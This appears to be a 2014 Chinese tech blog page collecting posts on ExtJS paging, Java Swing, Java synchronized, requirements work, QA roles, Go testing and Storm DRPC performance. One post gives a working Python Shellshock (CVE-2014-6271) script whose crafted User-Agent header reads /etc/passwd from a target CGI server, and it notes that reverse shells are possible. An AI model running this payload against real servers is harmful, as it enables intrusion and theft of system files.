qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

Extjs分页使用Java实现数据库数据查询

关于Ext分 页功能的实现。项目用的是js、Ext、servlet。下面贴下代码:
var obj = this;
var pageSize = 20;   //统计结果分页每一页显示数据条数
//在这里使用Store来创建一个类似于数据表的结构,因为需要远程获取数据,所以应该使用
//HttpProxy类,我是从后台读取的是json数据格式的数据,所以使用JsonReader来解析;
var proxy = new Ext.data.HttpProxy({
url:"com.test.check.servlets.QueryDetailServlet"
});
var statTime = Ext.data.Record.create([
{name:"rowNo",type:"string",mapping:"rowNo"},
{name:"gpsid",type:"string",mapping:"gpsid"},
{name:"policeName",type:"string",mapping:"policeName"}
]);
var reader = new Ext.data.JsonReader({
totalProperty:"count", //此处与后台json数据中相对应,为数据的总条数
root:"data"      //这里是后台json数据相对应
},statTime);
var store = new Ext.data.Store({
proxy:proxy,
reader:reader
});
//定义分页工具条
var bbarObj = new Ext.PagingToolbar({
pageSize: pageSize,
store: store,
width: 300,
displayInfo: true,      //该属性为需要显示分页信息是设置
//这里的数字会被分页时候的显示数据条数所自动替换显示
displayMsg: '显示第 {0} 条到 {1} 条记录,一共 {2} 条',
emptyMsg: "没有记录",
prependButtons: true
});
在我的项目中使用的是GridPanel来进行显示数据表,所以定义如下:
var grid = new Ext.grid.GridPanel({
store: store,
columns: [
{header:'序号',width: 33, sortable: true,dataIndex:'rowNo',align:'center'},
{id:'gpsid',header:'GPS编号',width: 85, sortable: true,dataIndex:'gpsid',align:'center'},
{header:'警员名称',width: 90, sortable: true,dataIndex:'policeName',align:'center'}
],
region:'center',
stripeRows: true,
title:'统计表',
autoHeight:true,
width:302,
autoScroll:true,
loadMask:true,
stateful: true,
stateId: 'grid',
columnLines:true,
bbar:bbarObj   //将分页工具栏添加到GridPanel上
});
//在以下方法中向后台传送需要的参数,在后台servlet中可以使用
//request.getParameter("");方法来获取参数值;
store.on('beforeload',function(){
store.baseParams={
code: code,
timeType: timeType,
timeValue: timeValue
}
});
//将数据载入,这里参数为分页参数,会根据分页时候自动传送后台
//也是使用request.getParameter("")获取
store.reload({
params:{
start:0,
limit:pageSize
}
});
duty.leftPanel.add(grid); //将GridPanel添加到我项目中使用的左侧显示栏
duty.leftPanel.doLayout();
duty.leftPanel.expand();  //左侧显示栏滑出
 后台servlet获取前台传输的参数:
response.setContentType("text/xml;charset=GBK");
String orgId = request.getParameter("code");
String rangeType = request.getParameter("timeType");
String rangeValue = request.getParameter("timeValue");
String start  = request.getParameter("start");
String limit = request.getParameter("limit");
StatService ss = new StatService();
String json = ss.getStatByOrganization(orgId, rangeType, rangeValue, start, limit);
PrintWriter out = response.getWriter();
out.write(json);
out.flush();
out.close();
  下面讲以下后台将从数据库查询的数据组织成前台需要的格式的json数据串
StringBuffer json = new StringBuffer();
String jsonData = "";
......
//这里用前台传来的参数进行数据库分页查询
int startNum = new Integer(start).intValue();
int limitNum = new Integer(limit).intValue();
startNum = startNum + 1;
limitNum = startNum + limitNum;
......
rs = ps.executeQuery();
//这里的count即是前台创建的数据格式中的数据总数名称,与之对应,data同样
json.append("{count:" + count + ",data:[{");
int i = startNum - 1;  //该变量用来设置数据显示序号
while(rs.next()){
i = i + 1;
//这里的rowNo与前台配置的数据字段名称想对应,下面同样
json.append("rowNo:'" + i + "',");
String gpsId = rs.getString("GPSID");
json.append("gpsid:'" + gpsId + "',");
String policeName = rs.getString("CALLNO");
json.append("policeName:'" + policeName + "',");
json.append("},{");
}
jsonData = json.substring(0, json.length()-2);
jsonData = jsonData + "]}";
//组成的json数据格式应该是:
//{count:count,data:[{rowNo:rowNo,gpsId:gpsId,policeName:policeName},....]}
  就这样完成了前台的数据查询交互;
  希望我的例子对各位有用。

posted @ 2014-12-08 21:55 顺其自然EVO 阅读(442) | 评论 (0)编辑 收藏

Java 图像处理小软件(界面+图像处理)

一、界面学习
  用java实现一个简易计算器(代码)如下:
1 /*CJSCalculator.java 2014.8.4 by cjs
2  *当点击含有加号的按钮时,则第一排第二个按钮的文本变为加号;
3  *当点击“OK”按钮时,将算出12+2的结果并在第一排最后一个按钮显示;
4  *减号,乘号,除号的功能类似。其中,数字可以自己输入,也可以固定不变。
5  *以上是简单的版本,如果有能力可以设计出更好更完善的计算器。
6 **/
7
8 import java.awt.*;
9 import javax.swing.*;
10 import java.awt.event.*;
11 public class CjsCalculator extends JFrame implements ActionListener {
12     /* 继承Jframe 实现 ActionListener 接口*/
13
14         //协助关闭窗口
15         private class WindowCloser extends WindowAdapter {
16         public void windowClosing(WindowEvent we) {
17             System.exit(0);
18         }
19     }
20     //strings for operator buttons.
21
22     private String[] str = { "+", "-", "*", "/", "OK"};
23
24     //build buttons.
25
26     JButton[] Obuttons = new JButton[str.length];
27         //reset button
28     JButton Rbutton = new JButton("reset");
29
30         //build textfield to show num and result
31
32     private JTextField display = new JTextField("0");
33     private JTextField Fnum = new JTextField("");
34     private JTextField Snum = new JTextField("");
35     private JTextField Otext = new JTextField("");
36     private JTextField Deng = new JTextField("=");
37
38     int i = 0;
39
40     //构造函数定义界面
41     public CjsCalculator() {
42
43         Deng.setEditable(false);
44         display.setEditable(false);
45     Otext.setEditable(false);
46     //super 父类
47     //    super("Calculator");
48
49         //panel 面板容器
50         JPanel panel1 = new JPanel(new GridLayout(1,5));
51         for (i = 0; i < str.length; i++) {
52             Obuttons[i] = new JButton(str[i]);
53                 Obuttons[i].setBackground(Color.YELLOW);
54             panel1.add(Obuttons[i]);
55         }
56
57         JPanel panel2 = new JPanel(new GridLayout(1,5));
58         panel2.add(Fnum);
59         panel2.add(Otext);
60         panel2.add(Snum);
61         panel2.add(Deng);
62         panel2.add(display);
63
64         JPanel panel3 = new JPanel(new GridLayout(1,1));
65         panel3.add(Rbutton);
66                 //初始化容器
67         getContentPane().setLayout(new BorderLayout());
68         getContentPane().add("North",panel2);
69         getContentPane().add("Center",panel1);
70         getContentPane().add("South",panel3);
71         //Add listener for Obuttons.
72         for (i = 0; i < str.length; i++)
73             Obuttons[i].addActionListener(this);
74
75         display.addActionListener(this);
76             Rbutton.addActionListener(this);
77         setSize(8000,8000);//don't use ???
78
79         setVisible(true);//???
80                 //不可改变大小
81                 setResizable(false);
82         //初始化容器
83         pack();
84     }
85
86         //实现监听器的performed函数
87     public void actionPerformed(ActionEvent e) {
88                 Object happen = e.getSource();
89         //
90         String label = e.getActionCommand();
91
92         if ("+-*/".indexOf(label) >= 0)
93             getOperator(label);
94         else if (label == "OK")
95             getEnd(label);
96         else if ("reset".indexOf(label) >= 0)
97              // display.setText("reset");
98                       resetAll(label);
99     }
00         public void resetAll(String key) {
101             Fnum.setText("");
102         Snum.setText("");
103         display.setText("");
104         Otext.setText("");
105     }
106     public void getOperator(String key) {
107         Otext.setText(key);
108     }
109
110     public void getEnd(String label) {
111                 if( (countDot(Fnum.getText()) > 1) || (countDot(Snum.getText())>1) || (Fnum.getText().length()==0) ||
(Snum.getText().length() == 0)) {
112                     display.setText("error");
113                 }
114         else if(checkNum(Fnum.getText())==false || checkNum(Snum.getText())==false){
115                 display.setText("error");
116              }
117         else {
118                 double Fnumber = Double.parseDouble(Fnum.getText().trim());
119             double Snumber = Double.parseDouble(Snum.getText().trim());
120             if (Fnum.getText() != "" && Snum.getText() != "") {
121                    if (Otext.getText().indexOf("+") >= 0) {
122                     double CjsEnd = Fnumber + Snumber;
123                     display.setText(String.valueOf(CjsEnd));
124                 }
125                                 else if (Otext.getText().indexOf("-")>=0) {
126                                        double CjsEnd = Fnumber - Snumber;
127                                         display.setText(String.valueOf(CjsEnd));
128                                 }
129                         else if (Otext.getText().indexOf("*")>=0) {
130                                         double CjsEnd = Fnumber * Snumber;
131                                            display.setText(String.valueOf(CjsEnd));
132                                 }
133                                 else if (Otext.getText().indexOf("/")>=0) {
134                                         double CjsEnd = Fnumber / Snumber;
135                                         display.setText(String.valueOf(CjsEnd));
136                                 }
137                 else
138                     display.setText("error");
139
140             }
141             else
142                 display.setText("num is null");
143                 }
144
145     }
146         public int countDot(String str) {
147         int count = 0;
148         for (char c:str.toCharArray()) {
149             if (c == '.')
150                 count++;
151         }
152         return count;
153         }
154         public boolean checkNum(String str) {
155            boolean tmp = true;
156         for (char c:str.toCharArray()) {
157             if (Character.isDigit(c) || (c == '.'));
158             else {
159                 tmp = false;
160                 break;
161             }
162         }
163         return tmp;
164         }
165     public static void main(String[] args) {
166         new CjsCalculator();
167     }
168 }
  终端运行该java文件,结果如图所示:

posted @ 2014-12-08 21:54 顺其自然EVO 阅读(251) | 评论 (0)编辑 收藏

Java并发编程:synchronized

虽然多线程编程极大地提高了效率,但是也会带来一定的隐患。比如说两个线程同时往一个数据库表中插入不重复的数据,就可能会导致数据库中插入了相同的数据。今天我们就来一起讨论下线程安全问题,以及Java中提供了什么机制来解决线程安全问题。
  一.什么时候会出现线程安全问题?
  在单线程中不会出现线程安全问题,而在多线程编程中,有可能会出现同时访问同一个资源的情况,这种资源可以是各种类型的的资源:一个变量、一个对象、一个文件、一个数据库表等,而当多个线程同时访问同一个资源的时候,就会存在一个问题:
  由于每个线程执行的过程是不可控的,所以很可能导致最终的结果与实际上的愿望相违背或者直接导致程序出错。
  举个简单的例子:
  现在有两个线程分别从网络上读取数据,然后插入一张数据库表中,要求不能插入重复的数据。
  那么必然在插入数据的过程中存在两个操作:
  1)检查数据库中是否存在该条数据;
  2)如果存在,则不插入;如果不存在,则插入到数据库中。
  假如两个线程分别用thread-1和thread-2表示,某一时刻,thread-1和thread-2都读取到了数据X,那么可能会发生这种情况:
  thread-1去检查数据库中是否存在数据X,然后thread-2也接着去检查数据库中是否存在数据X。
  结果两个线程检查的结果都是数据库中不存在数据X,那么两个线程都分别将数据X插入数据库表当中。
  这个就是线程安全问题,即多个线程同时访问一个资源时,会导致程序运行结果并不是想看到的结果。
  这里面,这个资源被称为:临界资源(也有称为共享资源)。
  也就是说,当多个线程同时访问临界资源(一个对象,对象中的属性,一个文件,一个数据库等)时,就可能会产生线程安全问题。
  不过,当多个线程执行一个方法,方法内部的局部变量并不是临界资源,因为方法是在栈上执行的,而Java栈是线程私有的,因此不会产生线程安全问题。
  二.如何解决线程安全问题?
  那么一般来说,是如何解决线程安全问题的呢?
  基本上所有的并发模式在解决线程安全问题时,都采用“序列化访问临界资源”的方案,即在同一时刻,只能有一个线程访问临界资源,也称作同步互斥访问。
  通常来说,是在访问临界资源的代码前面加上一个锁,当访问完临界资源后释放锁,让其他线程继续访问。
  在Java中,提供了两种方式来实现同步互斥访问:synchronized和Lock。
  本文主要讲述synchronized的使用方法,Lock的使用方法在下一篇博文中讲述。
  三.synchronized同步方法或者同步块
  在了解synchronized关键字的使用方法之前,我们先来看一个概念:互斥锁,顾名思义:能到达到互斥访问目的的锁。
  举个简单的例子:如果对临界资源加上互斥锁,当一个线程在访问该临界资源时,其他线程便只能等待。
  在Java中,每一个对象都拥有一个锁标记(monitor),也称为监视器,多线程同时访问某个对象时,线程只有获取了该对象的锁才能访问。
  在Java中,可以使用synchronized关键字来标记一个方法或者代码块,当某个线程调用该对象的synchronized方法或者访问synchronized代码块时,这个线程便获得了该对象的锁,其他线程暂时无法访问这个方法,只有等待这个方法执行完毕或者代码块执行完毕,这个线程才会释放该对象的锁,其他线程才能执行这个方法或者代码块。
  下面通过几个简单的例子来说明synchronized关键字的使用:
  1.synchronized方法
  下面这段代码中两个线程分别调用insertData对象插入数据:
public class Test {
public static void main(String[] args)  {
final InsertData insertData = new InsertData();
new Thread() {
public void run() {
insertData.insert(Thread.currentThread());
};
}.start();
new Thread() {
public void run() {
insertData.insert(Thread.currentThread());
};
}.start();
}
}
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public void insert(Thread thread){
for(int i=0;i<5;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
此时程序的输出结果为:
  说明两个线程在同时执行insert方法。
  而如果在insert方法前面加上关键字synchronized的话,运行结果为:
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public synchronized void insert(Thread thread){
for(int i=0;i<5;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
  从上输出结果说明,Thread-1插入数据是等Thread-0插入完数据之后才进行的。说明Thread-0和Thread-1是顺序执行insert方法的。
  这就是synchronized方法。
  不过有几点需要注意:
  1)当一个线程正在访问一个对象的synchronized方法,那么其他线程不能访问该对象的其他synchronized方法。这个原因很简单,因为一个对象只有一把锁,当一个线程获取了该对象的锁之后,其他线程无法获取该对象的锁,所以无法访问该对象的其他synchronized方法。
  2)当一个线程正在访问一个对象的synchronized方法,那么其他线程能访问该对象的非synchronized方法。这个原因很简单,访问非synchronized方法不需要获得该对象的锁,假如一个方法没用synchronized关键字修饰,说明它不会使用到临界资源,那么其他线程是可以访问这个方法的,
  3)如果一个线程A需要访问对象object1的synchronized方法fun1,另外一个线程B需要访问对象object2的synchronized方法fun1,即使object1和object2是同一类型),也不会产生线程安全问题,因为他们访问的是不同的对象,所以不存在互斥问题。
  2.synchronized代码块
  synchronized代码块类似于以下这种形式:
  synchronized(synObject) {
  }
  当在某个线程中执行这段代码块,该线程会获取对象synObject的锁,从而使得其他线程无法同时访问该代码块。
  synObject可以是this,代表获取当前对象的锁,也可以是类中的一个属性,代表获取该属性的锁。
  比如上面的insert方法可以改成以下两种形式:
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
public void insert(Thread thread){
synchronized (this) {
for(int i=0;i<100;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
}
class InsertData {
private ArrayList<Integer> arrayList = new ArrayList<Integer>();
private Object object = new Object();
public void insert(Thread thread){
synchronized (object) {
for(int i=0;i<100;i++){
System.out.println(thread.getName()+"在插入数据"+i);
arrayList.add(i);
}
}
}
}
  从上面可以看出,synchronized代码块使用起来比synchronized方法要灵活得多。因为也许一个方法中只有一部分代码只需要同步,如果此时对整个方法用synchronized进行同步,会影响程序执行效率。而使用synchronized代码块就可以避免这个问题,synchronized代码块可以实现只对需要同步的地方进行同步。
  另外,每个类也会有一个锁,它可以用来控制对static数据成员的并发访问。
  并且如果一个线程执行一个对象的非static synchronized方法,另外一个线程需要执行这个对象所属类的static synchronized方法,此时不会发生互斥现象,因为访问static synchronized方法占用的是类锁,而访问非static synchronized方法占用的是对象锁,所以不存在互斥现象。
  看下面这段代码就明白了:
public class Test {
public static void main(String[] args)  {
final InsertData insertData = new InsertData();
new Thread(){
@Override
public void run() {
insertData.insert();
}
}.start();
new Thread(){
@Override
public void run() {
insertData.insert1();
}
}.start();
}
}
class InsertData {
public synchronized void insert(){
System.out.println("执行insert");
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("执行insert完毕");
}
public synchronized static void insert1() {
System.out.println("执行insert1");
System.out.println("执行insert1完毕");
}
}
  执行结果;
  第一个线程里面执行的是insert方法,不会导致第二个线程执行insert1方法发生阻塞现象。
  下面我们看一下synchronized关键字到底做了什么事情,我们来反编译它的字节码看一下,下面这段代码反编译后的字节码为:
public class InsertData {
private Object object = new Object();
public void insert(Thread thread){
synchronized (object) {
}
}
public synchronized void insert1(Thread thread){
}
public void insert2(Thread thread){
}
}
  从反编译获得的字节码可以看出,synchronized代码块实际上多了monitorenter和monitorexit两条指令。monitorenter指令执行时会让对象的锁计数加1,而monitorexit指令执行时会让对象的锁计数减1,其实这个与操作系统里面的PV操作很像,操作系统里面的PV操作就是用来控制多个线程对临界资源的访问。对于synchronized方法,执行中的线程识别该方法的 method_info 结构是否有 ACC_SYNCHRONIZED 标记设置,然后它自动获取对象的锁,调用方法,最后释放锁。如果有异常发生,线程自动释放锁。
  有一点要注意:对于synchronized方法或者synchronized代码块,当出现异常时,JVM会自动释放当前线程占用的锁,因此不会由于异常导致出现死锁现象。

posted @ 2014-12-08 21:52 顺其自然EVO 阅读(205) | 评论 (0)编辑 收藏

IT需求管理之拜访

项目组经过一番努力,获得了一些初步的成果。首先是给客户留下了一个良好的印象,这是一个开端,但要在他们心目中树立自己的职业威信还要看你今后的表现。同时,我们与客户一起为项目制订了短期与长期目标。不要小看了这些目标,它们就是我们的尚方宝剑。正是因为有了它,今后项目中的有关各方就应当协助实现这个目标。我们应当清晰地向客户表达这样一个意思,要完成这样的目标,不是某一方的努力,而是双方共同努力的结果。这也是客户方召开这样一个项目启动会议的重要意义。最后一个成果,也是最重要的成果,就是与各种角色、各个类型的客户建立了联系。下面,我们将一个一个去拜访他们,展开我们的需求调研。
  与西方人不同,中国人做事往往比较重视感情,这是与中国数千年的文化分不开的。让我们来听听一位金牌销售员是怎么做生意的:“我跟客户头几次见面,绝对不提生意的事,玩,就是玩。吃饭啦,唱卡拉OK啦,打球啦??????先建立关系,关系好了再慢慢提生意的事儿。”这说得比较夸张,毕竟他是在做销售,但至少传达出一个概念,那就是做事先培养感情,感情培养起来才好慢慢做事,需求调研也是一样。
  需求调研不是一蹴而就的事情,是一件持续数月甚至数年的工作(假如项目还有后期维护)。在这漫长的时间里,我们需要依靠客户这个群体的帮助,一步一步掌握真实可靠的业务需求。不仅如此,技术这东西总有不如意甚至实现不了的地方,我们需要客户的理解与包容,这都需要有良好的客户关系。按照现在的软件运作理念,软件项目已经不是一锤子的买卖,而是长期的、持续不断的提供服务。按照这样的理念,软件供应商与客户建立的是长期共赢的战略协作关系,这更需要我们与客户建立长期友好的关系。
  尽管如此,我们也不能总是期望客户中的所有人都能与我们合作,很多项目都不可避免地存在阻碍项目开展的人。如很多ERP项目会损害采购和销售人员的利益,因为信息化的管理断了他们的财路;很多企业管理软件会遭到来自基层操作人员的抵制,因为它会给基层操作人员带来更多的工作量负担。有一次,我们给一个集团开发一套软件,当我们下到基层单位时,才发现,一些基层单位已经有了相应的管理软件。我们的软件成功上线,必然就意味着这些基层单位的管理软件寿终正寝,这必然影响到基层信息化管理专员的利益和政绩。
  分析一个客户人群的关系,就是在分析这个人群中,谁有意愿支持我们,而谁却在自觉不自觉地阻碍我们。那些通过这个项目可以提高政绩,提高自身价值的人,都是我们可以争取的盟友。他们是我们最可以依赖的人,我们一定要与他们站在一起,荣辱与共,建立战略合作伙伴关系。
  另一种人,即使软件获得了成功,也与他没有太多关系,但你与他相处得好,却可以给予你巨大的帮助,这种人是我们需要拼命争取的人。所谓领域专家,他可以给你多讲点儿,但随便打发你,对他也没太大影响。报着谦虚谨慎、相互尊重的态度,大方地与他们交往。当他们帮助我们以后,真诚地予以感谢。这是我总结出来的,与他们交往的准则。
  最后,就是那些对我们怀有敌意的人。尽管有敌意,但我们能够坦荡的,敞开心扉的与他们交往。虽然不能奢望太多,但拿出诚意去争取他们,也还是有机会化干戈为玉帛、化敌为友。如果能够那样,那是再好不过了。
  经过一番交往,我们将逐渐在客户中结识一批可以帮助我们的人。今后一段日子里,我们将依靠他们去学习和认识业务知识,收集业务需求,为日后的软件研发提供素材。

posted @ 2014-12-08 21:32 顺其自然EVO 阅读(202) | 评论 (0)编辑 收藏

高能力成熟度软件企业中软件质量工程师的职责

随着科学技术的不断发展进步,企业之间的竞争越来越激烈。软件企业要想在竞争中发展生存,提高软件产品质量已成为必要条件。在一些高能力成熟度软件企业中,专门成立了质量保证和控制职能部门,起着提高项目管理透明性和确保软件产品质量的双重作用。
  软件质量工程师是隶属于质量监控部门的工程师,他们独立于项目对质量保证经理负责,以独立审查的方式监控软件生产任务的执行,给开发人员和管理层提供反映产品质量的信息和数据,辅助软件工程组得到高质量的软件产品。每位软件质量工程师可以同时介入多个项目。
  软件质量工程师的工作原则是"用过程质量确保产品质量"。 软件质量工程师在软件生存期的各个阶段起着不同的作用,是软件项目开发过程中不可或缺的重要成员。
  软件质量工程师的职责分为组织相关的职责和项目相关的职责。
  1.组织相关的职责
  ·与客户及时沟通,确保客户满意
  软件质量工程师应当担当"客户代表"的角色,及时与客户进行沟通,了解客户对产品质量、开发进度、开发费用等方面的需求。定期进行客户满意度调查,对客户反馈信息进行分析,为项目管理提供分析结果,及时根据客户需求协助项目经理调整项目开发计划。 ·内部评审
  软件质量工程师参与项目的内部评审活动,其职责包括确定评审员,为评审组织确定评审内容,确保评审按既定的过程执行,并向管理团队通报评审结果。
  ·审计
  软件质量工程师参与改进并跟踪现有审计制度以适应项目和产品解决方案发展的需要。软件质量工程师相互协作以确保不断地改进现有的审计内容和审计制度,提高管理的透明性。
  ·度量
  其职责主要是进行量化过程管理,包括完善和执行统计过程控制,贯彻执行度量标准,通过数据采集和分析完善度量基准。
  2.项目相关的职责
  ·为相关项目提供过程管理和质量保证咨询
  软件质量工程师参加项目启动会议,为制定项目开发计划提供相关历史数据。为项目开发人员提供质量保证相关知识的咨询。
  ·帮助项目建立切实可行的质量保证目标,选择适当的质量保证基准
  软件质量工程师根据客户需求、企业内部质量审查标准、行业标准,按照项目类别建立项目质量保证目标,与项目成员一起讨论并进行必要的修改。明确度量标准和数据收集方法,在项目实施过程中根据建立的目标对项目进行实时监控。
  ·制定项目质量保证计划
  软件质量工程师根据项目类别、质量保证目标、项目开发进度制定相应的质量保证计划。
  ·项目审查
  软件质量工程师应当参与必要的项目审查。审查内容包括:
  - 产品需求说明书
  - 软件项目开发计划
  - 测试计划
  - 测试总结报告
  ·数据收集和分析
  软件质量工程师负责按软件质量保证计划收集与项目相关的数据,通过对数据进行分析,及时将与质量相关的反馈和建议汇报给项目负责人和高级主管。项目负责人根据反馈数据调整项目开发计划。
  ·项目审计
  软件质量工程师负责鉴别项目开发中与项目质量保证计划中规定的标准和过程不相符的内容,当这些内容与计划偏离比较多,以至于可能影响到项目的及时高质量完成时,可以考虑召开项目审计会议。
  软件质量工程师负责会议的计划、主持,确保审计所有偏离内容,并汇报审计结果。
  ·系统测试
  软件质量工程师可以介入系统测试,确保软件产品符合质量要求,满足客户需求。软件质量工程师帮助系统测试工程师收集数据,将数据分析结果反馈给项目负责人、系统测试工程师和项目组其他成员。
  ·错误预防
  软件质量工程师负责提供历史和当前数据,帮助项目了解项目所处状态、进度和存在的弱点。所有的错误预防工作都应由项目负责人计划并跟踪,软件质量工程师负责监督。


posted @ 2014-12-08 21:27 顺其自然EVO 阅读(864) | 评论 (0)编辑 收藏

Bash远程命令执行漏洞(CVE-2014-6271)分析利用

这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271),昨天参加完isc,晚上回家测试了一下,写了个python版本的测试小基本,贴上代码:
#coding:utf-8
import urllib,httplib
import sys,re,urlparse
#author:nx4dm1n
#website:http://www.nxadmin.com
def bash_exp(url):
urlsp=urlparse.urlparse(url)
hostname=urlsp.netloc
urlpath=urlsp.path
conn=httplib.HTTPConnection(hostname)
headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
conn.request("GET",urlpath,headers=headers)
res=conn.getresponse()
res=res.getheaders()
for passwdstr in res:
print passwdstr[0]+':'+passwdstr[1]
if __name__=='__main__':
#带http
if len(sys.argv)<2:
print "Usage: "+sys.argv[0]+" http://www.nxadmin.com/cgi-bin/index.cgi"
sys.exit()
else:
bash_exp(sys.argv[1])
  脚本执行效果如图所示:
  bash命令执行
  也可以用burp进行测试。
  利用该漏洞其实可以做很多事情,写的python小脚本只是执行了cat /etc/passwd。可以执行反向链接的命令等,直接获取一个shell还是有可能的。不过漏洞存在的条件也比较苛刻,测试找了一些,发现了很少几个存在漏洞

posted @ 2014-12-08 20:43 顺其自然EVO 阅读(338) | 评论 (0)编辑 收藏

Golang UnitTest单元测试

最近做项目的时候一直很苦恼,go的单元测试是怎么回事,之前有看过go test  xx_test.go命令进行单元测试,只知道有这么一说。最近项目中写了很多工具类,一直想测试一下性能和执行结果。发现完全不对。
  这是代码。
  发现多次执行go test utilfile_test.go完全没有任何输出。查很多原因和多帖子,都没说到重点。今天在群里问了下,才发现go单元测试对文件名和方法名,参数都有很严格的要求。
  例如:
  1、文件名必须以xx_test.go命名
  2、方法必须是Test[^a-z]开头
  3、方法参数必须 t *testing.T
  之前就因为第 2 点没有写对,导致找了半天错误。现在真的让人记忆深刻啊,小小的东西当初看书没仔细。
  下面分享一点go test的参数解读。来源
  格式形如:
  go test [-c] [-i] [build flags] [packages] [flags for test binary]
  参数解读:
  -c : 编译go test成为可执行的二进制文件,但是不运行测试。
  -i : 安装测试包依赖的package,但是不运行测试。
  关于build flags,调用go help build,这些是编译运行过程中需要使用到的参数,一般设置为空
  关于packages,调用go help packages,这些是关于包的管理,一般设置为空
  关于flags for test binary,调用go help testflag,这些是go test过程中经常使用到的参数
  -test.v : 是否输出全部的单元测试用例(不管成功或者失败),默认没有加上,所以只输出失败的单元测试用例。
  -test.run pattern: 只跑哪些单元测试用例
  -test.bench patten: 只跑那些性能测试用例
  -test.benchmem : 是否在性能测试的时候输出内存情况
  -test.benchtime t : 性能测试运行的时间,默认是1s
  -test.cpuprofile cpu.out : 是否输出cpu性能分析文件
  -test.memprofile mem.out : 是否输出内存性能分析文件
  -test.blockprofile block.out : 是否输出内部goroutine阻塞的性能分析文件
  -test.memprofilerate n : 内存性能分析的时候有一个分配了多少的时候才打点记录的问题。这个参数就是设置打点的内存分配间隔,也就是profile中一个sample代表的内存大小。默认是设置为512 * 1024的。如果你将它设置为1,则每分配一个内存块就会在profile中有个打点,那么生成的profile的sample就会非常多。如果你设置为0,那就是不做打点了。
  你可以通过设置memprofilerate=1和GOGC=off来关闭内存回收,并且对每个内存块的分配进行观察。
  -test.blockprofilerate n: 基本同上,控制的是goroutine阻塞时候打点的纳秒数。默认不设置就相当于-test.blockprofilerate=1,每一纳秒都打点记录一下
  -test.parallel n : 性能测试的程序并行cpu数,默认等于GOMAXPROCS。
  -test.timeout t : 如果测试用例运行时间超过t,则抛出panic
  -test.cpu 1,2,4 : 程序运行在哪些CPU上面,使用二进制的1所在位代表,和nginx的nginx_worker_cpu_affinity是一个道理
  -test.short : 将那些运行时间较长的测试用例运行时间缩短

posted @ 2014-12-08 20:42 顺其自然EVO 阅读(535) | 评论 (0)编辑 收藏

Strom及DRPC性能测试与改进

参考1:storm性能测试报告
  参考2:Storm DRPC 使用
  参考3:Storm DRPC 使用及访问C++ Bolt问题的解决方法
  参考4:Storm 多语言支持之ShellBolt原理及改进
  参考5:Base64编码及编码性能测试
  参考6:Base64编码及编码性能测试 [改进]
  参考7:zlib使用与性能测试
  参考8:十分简单的redis使用说明及性能测试
  [参考1]的结论与局限
  参考种对Storm性能进行测试,得出了以下结论:
  storm单条流水线的处理能力大约为20000 tupe/s, (每个tuple大小为1000字节)
  storm系统本省的处理延迟为毫秒级
  在集群中横向扩展可以增加系统的处理能力,实测结果为1.6倍
  Storm中大量的使用了线程,即使单条处理流水线的系统,也有十几个线程在同时运行,所以几乎所有的16个CPU都在运行状态,load average 约为 3.5
  Jvm GC一般情况下对系统性能影响有限,但是内存紧张时,GC会成为系统性能的瓶颈
  使用外部处理程序性能下降明显,所以在高性能要求下,尽量使用storm内建的处理模式
  作者对strom的处理能力和可扩展性进行了测试,给出了很有说服力的数据。但还不能满足我们的需要:
  1)由于作者使用的tuple为1000字节,也就是1K,数据量相对较小,而在实际使用过程中,storm作为实时流处理系统,处理的数据可能比较大。比如我们用来进行图像处理,一个图片可能有1M左右。这时候storm的性能如何呢?
  2)为了简化storm的集成,我们使用DRPC来访问storm,具体用法可参见[参考2]和[参考3],在DRPC访问时,数据需要从DRPCClient发送至DRPCServer,再由DRPCServer发送给topology中的spout,spoout发送给Bolt........;当数据处理完毕后,还要由Bolt返回给DPRCServer,由DRPCServer返回给DRPCClient。
  增加了这些步骤以后,Strom DRPC的性能究竟如何呢?
  3)作者在[参考1]中提到,使用外部处理程序时Storm的性能明显下降,大概只有1/10的性能。但是我们在实际使用中,可能经常是在已有的基础上,将功能集成到Storm中运行。通俗点说:实际情况是我们经常使用外部处理程序,这种情况下,怎么能提高Storm的性能呢?关于这点可以查看[参考4]。我们使用JNI来解决。
  测试与结论
  1)测试环境
  测试环境如图所示
  有客户端和两台服务器组成。
  客户端为虚拟机,单核3.2GHz  1G 内存,100M带宽。
  服务器也是虚拟机,8核2.2GHz,8G内存,1G带宽。
  DRPC Topology由一个DRPCSpout,CPPBolt和一个ReturnResult组成。功能是接收一个字符串并返回。
  Topology运行在一个work中,Spout,Bolt分别由不同的线程执行。
 2)测试方法
  在Client启动0-100多个线程,不停的访问Topology,向其发送一个字符串(1K-1M)。Topology会原封不动的返回该字符串。
  测试过程就不详细展开了。直接说测试结果。
  3)测试结论
  该测试中,处理速度主要受限于客户端带宽。也就是说由于数据量大,客户端发的速度慢,低于Storm中topology的处理速度。
  因此该测试只能得出DRPC方式中单个请求在不同数据大小时,storm的延迟时间。
  简而言之,StormDRPC方式中,最小延迟为50ms(数据小于1K),当数据量大时,256K数据,延迟为125ms,512K时延迟为208ms。
  所以Storm数据量较大的时,处理的延迟还是比较大的。
  当然以上仅是在特定环境中的测试,仅供参考。
  改进方法
  根据个人经验,针对以上Storm延迟可以由以下改进方法:
  1)数据可以先压缩后再交给storm处理,在具体的bolt中对其进行解压缩。根据个人测试zlib压缩1M的数据,压缩率为80%,既可以将数据研所为原来的20%。从而可以减小数据量,提高效率。而zlib对1M数据进行压缩、解压缩所用时间在10ms以内。可以使情况选用。见[参考7]
  2)storm本身采用字符型传输,对于二进制数据必须进行编码。可采用base64编码。参见[参考5],base64对1M数据的编码,解码时间也分别小于10ms。
  3)在DRPC测试中,数据从Clinet到DRPCServer,到DRPC SPOUT,到BOLT,到RETURN Result,在到DRPCSERVER,最后返回Client传输多次,可以考虑使用内存数据库如redis,Client直接将数据放入redis,将其在redis中的路径进行传输,在需要时,由bolt从redis中获取。参见[参考8]。将1M数据在redis中存取,耗时也分别在10-20ms。
